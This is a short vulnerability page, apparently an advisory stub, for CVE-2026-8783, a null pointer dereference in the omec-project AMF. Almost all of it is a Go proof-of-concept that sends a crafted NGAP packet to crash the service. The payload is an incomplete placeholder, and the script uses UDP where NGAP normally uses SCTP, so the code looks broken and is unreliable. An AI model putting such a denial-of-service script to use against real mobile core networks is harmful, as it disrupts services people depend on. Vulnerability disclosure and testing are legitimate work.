CVE-2026-8783 omec-project amf空指针引用漏洞

package main import ( "fmt" "net" ) // PoC for CVE-2026-8783: Null Pointer Dereference in omec-project amf // This script sends a crafted NGAP packet to trigger the crash. func main() { target := "192.168.1.100:38412" // Replace with actual AMF IP and port // Simplified malicious payload representing a malformed UERadioCapabilityCheckResponse // The specific bytes needed to trigger the null pointer depend on the parser state. // This payload attempts to bypass initial checks and hit the vulnerable code path. maliciousPayload := []byte{ 0x00, 0x1c, // NGAP PDU type 0x40, 0x01, // Criticality // ... specific ASN.1 structure causing nil pointer ... 0x00, 0x00, 0x00, 0x00, // Triggering data } conn, err := net.Dial("udp", target) if err != nil { fmt.Println("Connection failed:", err) return } defer conn.Close() _, err = conn.Write(maliciousPayload) if err != nil { fmt.Println("Failed to send payload:", err) return } fmt.Println("Payload sent successfully. Check AMF service status for crash (DoS).") }